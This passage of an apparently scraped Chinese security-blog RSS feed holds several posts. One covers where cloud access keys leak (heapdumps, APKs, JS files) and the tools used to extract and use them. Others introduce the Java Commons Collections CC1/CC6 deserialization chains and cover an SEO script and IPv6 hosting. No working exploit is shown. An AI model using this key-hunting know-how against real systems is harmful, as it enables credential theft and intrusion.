href="#lightbox-0" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202407301139257.png" alt="image-20240730113902204" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-0" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202407301139257.png" alt="image-20240730113902204"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;3、网站的配置文件&lt;/p&gt;&#10;&lt;p&gt;4、js文件中泄露&lt;/p&gt;&#10;&lt;p&gt;5、源码泄露。APK、小程序反编译后全局搜索查询。&lt;/p&gt;&#10;&lt;p&gt;6、文件上传、下载的时候也有可能会有泄露，比如上传图片、上传文档等位置。&lt;/p&gt;&#10;&lt;p&gt;7、HeapDump文件。&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h4 id="heapdump文件泄露"&gt;&#10; HeapDump文件泄露&lt;a class="heading-anchor" href="#heapdump%e6%96%87%e4%bb%b6%e6%b3%84%e9%9c%b2" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h4&gt;&#10;&lt;p&gt;HeapDump文件是JVM虚拟机运行时内存的一个快照，通常用于性能分析等，但是因为其保存了对象、类等相关的信息，如果被泄露也会造成信息泄露。&lt;/p&gt;&#10;&lt;p&gt;在生产环境中，需要实时或定期监控服务的可用性。Spring Boot的actuator（健康监控）功能提供了很多监控所需的接口，可以对应用系统进行配置查看、相关功能统计等。&lt;/p&gt;&#10;&lt;p&gt;Actuator组件为Spring Boot提供对应用系统的监控和管理的集成功能，可以查看应用配置的详细信息。如果&lt;code&gt;Actuator&lt;/code&gt;使用不当或者一些不经意的疏忽，可能造成信息泄露等严重的安全隐患。&lt;/p&gt;&#10;&lt;p&gt;解析heapdump工具：&lt;a href="https://github.com/wyzxxz/heapdump_tool"&gt;wyzxxz/heapdump_tool: heapdump敏感信息查询工具，例如查找 spring heapdump中的密码明文，AK,SK等 (github.com)&lt;/a&gt;&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h4 id="app泄露"&gt;&#10; APP泄露&lt;a class="heading-anchor" href="#app%e6%b3%84%e9%9c%b2" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h4&gt;&#10;&lt;p&gt;有的程序可以在APP中泄露了key等的位置，使用工具可以确定到位置，然后进行访问。&lt;/p&gt;&#10;&lt;p&gt;工具：(jdax-gui)https://github.com/skylot/jadx&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h2 id="漏洞利用"&gt;&#10; 漏洞利用&lt;a class="heading-anchor" href="#%e6%bc%8f%e6%b4%9e%e5%88%a9%e7%94%a8" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&#10;&#10;&#10;&lt;h4 id="阿里提供的oss图形化管理工具"&gt;&#10; 阿里提供的OSS图形化管理工具&lt;a class="heading-anchor" href="#%e9%98%bf%e9%87%8c%e6%8f%90%e4%be%9b%e7%9a%84oss%e5%9b%be%e5%bd%a2%e5%8c%96%e7%ae%a1%e7%90%86%e5%b7%a5%e5%85%b7" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h4&gt;&#10;&lt;p&gt;&lt;a href="https://github.com/aliyun/oss-browser"&gt;https://github.com/aliyun/oss-browser&lt;/a&gt;&lt;/p&gt;</description></item><item><title>java安全CC6链分析</title><link>http://blog.foreverwl.top/blog/java%E5%AE%89%E5%85%A8cc6%E9%93%BE%E5%88%86%E6%9E%90/</link><pubDate>Thu, 18 Jul 2024 04:09:47 +0800</pubDate><guid>http://blog.foreverwl.top/blog/java%E5%AE%89%E5%85%A8cc6%E9%93%BE%E5%88%86%E6%9E%90/</guid><description>&lt;h2 id="前言"&gt;&#10; 前言&lt;a class="heading-anchor" href="#%e5%89%8d%e8%a8%80" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;前面已经分析过了cc1链子，但是这个链子有jdk限制，在Java 8u71以后，这个链子就不能再利用了。主要是因为sun.reflect.annotation.AnnotationInvocationHandler#readObject里面逻辑变换了，没有setValue了。&lt;/p&gt;&#10;&lt;p&gt;而这篇文章要分析的是最好用的CC链--cc6；因为CC6不受jdk版本的限制，只要commons collections 小于等于3.2.1，都能够利用这条链子。&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h2 id="分析"&gt;&#10; 分析&lt;a class="heading-anchor" href="#%e5%88%86%e6%9e%90" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;上篇文章的最后我放了两条链子，主要是入口点的不同。分别为TransformedMap和LazyMap，而我们今天要学习的CC6就是利用的LazyMap。&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h3 id="lazymap"&gt;&#10; LazyMap&lt;a class="heading-anchor" href="#lazymap" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&#10;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-java" data-lang="java"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;//org.apache.commons.collections.map.LazyMap#get &lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// create value for key if key is not currently in the map&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;map&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;containsKey&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;factory&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;transform&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;map&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;map&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// no need to wrap keySet, entrySet or values as they are views of&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// existing map entries - you can&amp;#39;t do a map-style get on them.&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;可以看到在get方法中调用了transform，但是我们AnnotationInvocationHandler的readObject方法中并没有调用get方法。&lt;/p&gt;</description></item><item><title>java安全CC1链分析</title><link>http://blog.foreverwl.top/blog/java%E5%AE%89%E5%85%A8cc1%E9%93%BE%E5%88%86%E6%9E%90/</link><pubDate>Wed, 10 Jul 2024 14:39:04 +0800</pubDate><guid>http://blog.foreverwl.top/blog/java%E5%AE%89%E5%85%A8cc1%E9%93%BE%E5%88%86%E6%9E%90/</guid><description>&lt;h2 id="1前言"&gt;&#10; 1.前言&lt;a class="heading-anchor" href="#1%e5%89%8d%e8%a8%80" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;Apache Commons Collections 是 Apache 软件基金会的一个子项目，提供了许多有用的 Java 集合框架的实现和扩展。它旨在填补 Java 标准类库中集合框架的一些不足，并提供了一系列的集合实现和工具类，以帮助开发者更加方便地处理集合数据。&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h2 id="2环境准备"&gt;&#10; 2.环境准备&lt;a class="heading-anchor" href="#2%e7%8e%af%e5%a2%83%e5%87%86%e5%a4%87" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&#10;&#10;&#10;&lt;h3 id="影响版本"&gt;&#10; 影响版本&lt;a class="heading-anchor" href="#%e5%bd%b1%e5%93%8d%e7%89%88%e6%9c%ac" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&#10;&lt;p&gt;jdk版本：这里使用8u65版本(8u71之后已修复不可利用)&#10;&lt;a href="https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html"&gt;https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;CommonsCollections:这里使用3.2.1 (3.1 - 3.2.1)&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-java" data-lang="java"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;dependencies&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;!--&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;https&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="c1"&gt;//mvnrepository.com/artifact/commons-collections/commons-collections --&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;dependency&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;groupId&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;commons&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;collections&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="n"&gt;groupId&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;artifactId&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;commons&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;collections&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="n"&gt;artifactId&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;version&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;1&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="n"&gt;version&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="n"&gt;dependency&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="n"&gt;dependencies&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#10;&#10;&#10;&lt;h3 id="配置源码"&gt;&#10; 配置源码&lt;a class="heading-anchor" href="#%e9%85%8d%e7%bd%ae%e6%ba%90%e7%a0%81" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&#10;&lt;p&gt;因为jdk自带的包里面有些文件是反编译的.class文件，代码很难读懂，并且调试时候会出现一些问题，我们需要将它转换为.java文件，我们需要安装相应的源码。&lt;/p&gt;&#10;&lt;p&gt;下载地址：https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4&lt;/p&gt;&#10;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-0" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202404272105233.png" alt="image-20240427210550150" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-0" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202404272105233.png" alt="image-20240427210550150"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h3 id="创建项目"&gt;&#10; 创建项目&lt;a class="heading-anchor" href="#%e5%88%9b%e5%bb%ba%e9%a1%b9%e7%9b%ae" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&#10;&#10;&#10;&#10;&lt;h4 id="pomxml导入依赖"&gt;&#10; pom.xml导入依赖&lt;a class="heading-anchor" href="#pomxml%e5%af%bc%e5%85%a5%e4%be%9d%e8%b5%96" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h4&gt;&#10;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-1" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202404272106270.png" alt="image-20240427210636224" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-1" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202404272106270.png" alt="image-20240427210636224"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h4 id="sdk设置"&gt;&#10; sdk设置&lt;a class="heading-anchor" href="#sdk%e8%ae%be%e7%bd%ae" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h4&gt;&#10;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-2" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202404272107271.png" alt="image-20240427210714231" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-2" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202404272107271.png" alt="image-20240427210714231"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;到此，准备工作就做完了，下面就开始分析啦。&lt;/p&gt;</description></item><item><title>批量网站sec权重查询小工具</title><link>http://blog.foreverwl.top/blog/%E6%89%B9%E9%87%8F%E7%BD%91%E7%AB%99sec%E6%9D%83%E9%87%8D%E6%9F%A5%E8%AF%A2%E5%B0%8F%E5%B7%A5%E5%85%B7/</link><pubDate>Tue, 04 Jun 2024 12:53:03 +0800</pubDate><guid>http://blog.foreverwl.top/blog/%E6%89%B9%E9%87%8F%E7%BD%91%E7%AB%99sec%E6%9D%83%E9%87%8D%E6%9F%A5%E8%AF%A2%E5%B0%8F%E5%B7%A5%E5%85%B7/</guid><description>&lt;h2 id="前言"&gt;&#10; 前言&lt;a class="heading-anchor" href="#%e5%89%8d%e8%a8%80" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;好久没更新文章了0-0，(水篇文章) 最近在努力探究java安全(太难了ww)，还接触了src漏洞挖掘。大多都是0权重的网站，但是有的平台不要0权重的网站，有的平台要。于是就有了个想法，自己写一个网站seo批量查询的脚本工具，脚本不算太难，练练手 hh 为以后漏洞复现打下编写脚本的能力。&lt;/p&gt;&#10;&lt;p&gt;[&lt;strong&gt;脚本链接&lt;/strong&gt;] &lt;a href="https://github.com/4everwl"&gt;https://github.com/4everwl&lt;/a&gt;&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h2 id="简介"&gt;&#10; 简介&lt;a class="heading-anchor" href="#%e7%ae%80%e4%bb%8b" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;使用python3编写的一个批量查询网站权重的小工具。通过批量txt文件，将最终的结果输出为txt文件，目前只包含百度，移动，谷歌相关权重。使用多线程，提高脚本的运行速度。&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h2 id="模块安装"&gt;&#10; 模块安装&lt;a class="heading-anchor" href="#%e6%a8%a1%e5%9d%97%e5%ae%89%e8%a3%85" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;pip install requests&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#10;&#10;&#10;&lt;h2 id="使用方法"&gt;&#10; 使用方法&lt;a class="heading-anchor" href="#%e4%bd%bf%e7%94%a8%e6%96%b9%e6%b3%95" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python3 domain_check.py txt文件路径&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-0" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202406041820646.png" alt="image-20240604182047570" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-0" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202406041820646.png" alt="image-20240604182047570"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;结果会输出到当前目录下的out文件夹内，结果文件命名根据时间命名，更好的判断出文件位置。&lt;/p&gt;&#10;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-1" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202406041821635.png" alt="image-20240604182152604" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-1" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202406041821635.png" alt="image-20240604182152604"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-2" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202406041822837.png" alt="image-20240604182212796" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-2" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202406041822837.png" alt="image-20240604182212796"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h2 id="注意事项"&gt;&#10; 注意事项&lt;a class="heading-anchor" href="#%e6%b3%a8%e6%84%8f%e4%ba%8b%e9%a1%b9" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;&lt;a href="https://blog.foreverwl.top/cdn-cgi/l/email-protection#ac491c11452b234811134b3804dcd5d8c4c3c29f82954817094814264b25244a300044133c440d204f2c2e4a302549291f4428364a3000453b02450e34481709492326dfdecf4a203a4a22344816084a192d442d384b1f17c9c1cdc5c04310369d9a94eccac3dec9dac9dedbc082d8c3dc"&gt;尽量使用python3.9以上版本运行。有关脚本问题以及src挖掘交流联系email：[email protected]&lt;/a&gt;&lt;/p&gt;</description></item><item><title>ipv6小机玩法</title><link>http://blog.foreverwl.top/blog/ipv6%E5%B0%8F%E6%9C%BA%E7%8E%A9%E6%B3%95/</link><pubDate>Tue, 16 Apr 2024 11:11:43 +0800</pubDate><guid>http://blog.foreverwl.top/blog/ipv6%E5%B0%8F%E6%9C%BA%E7%8E%A9%E6%B3%95/</guid><description>&lt;h2 id="前言"&gt;&#10; 前言&lt;a class="heading-anchor" href="#%e5%89%8d%e8%a8%80" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;前几天免费嫖到了3台只有ipv6的小机，那就玩玩吧- -&lt;/p&gt;&#10;&lt;p&gt;第一台使用xui搭建了梯子（网速可以 非常稳定）&lt;/p&gt;&#10;&lt;p&gt;第二台准备搞一个内网穿透服务，之前没接触过这个，掉了好多坑，最后还好搞定了，最近准备在宿舍搞台windows服务器（垃圾佬折腾），然后到时候内网穿透访问这台windows（windows要有ipv6）&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h2 id="ipv6配置域名解析"&gt;&#10; ipv6配置域名解析&lt;a class="heading-anchor" href="#ipv6%e9%85%8d%e7%bd%ae%e5%9f%9f%e5%90%8d%e8%a7%a3%e6%9e%90" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;首先就是域名解析ipv6，刚开始一直解析不了，后来经过一天的折腾，终于配好了0~0&lt;/p&gt;&#10;&lt;p&gt;我这里使用的cloudflare进行解析，开启cdn这样ipv4和ipv6都能访问（还是非常有意思的）。解析记得选择AAAA&lt;/p&gt;&#10;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-0" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202403202358248.png" alt="image-20240320235851157" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-0" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202403202358248.png" alt="image-20240320235851157"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;这样就能正常访问了&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h2 id="ipv6使用frp进行内网穿透"&gt;&#10; ipv6使用frp进行内网穿透&lt;a class="heading-anchor" 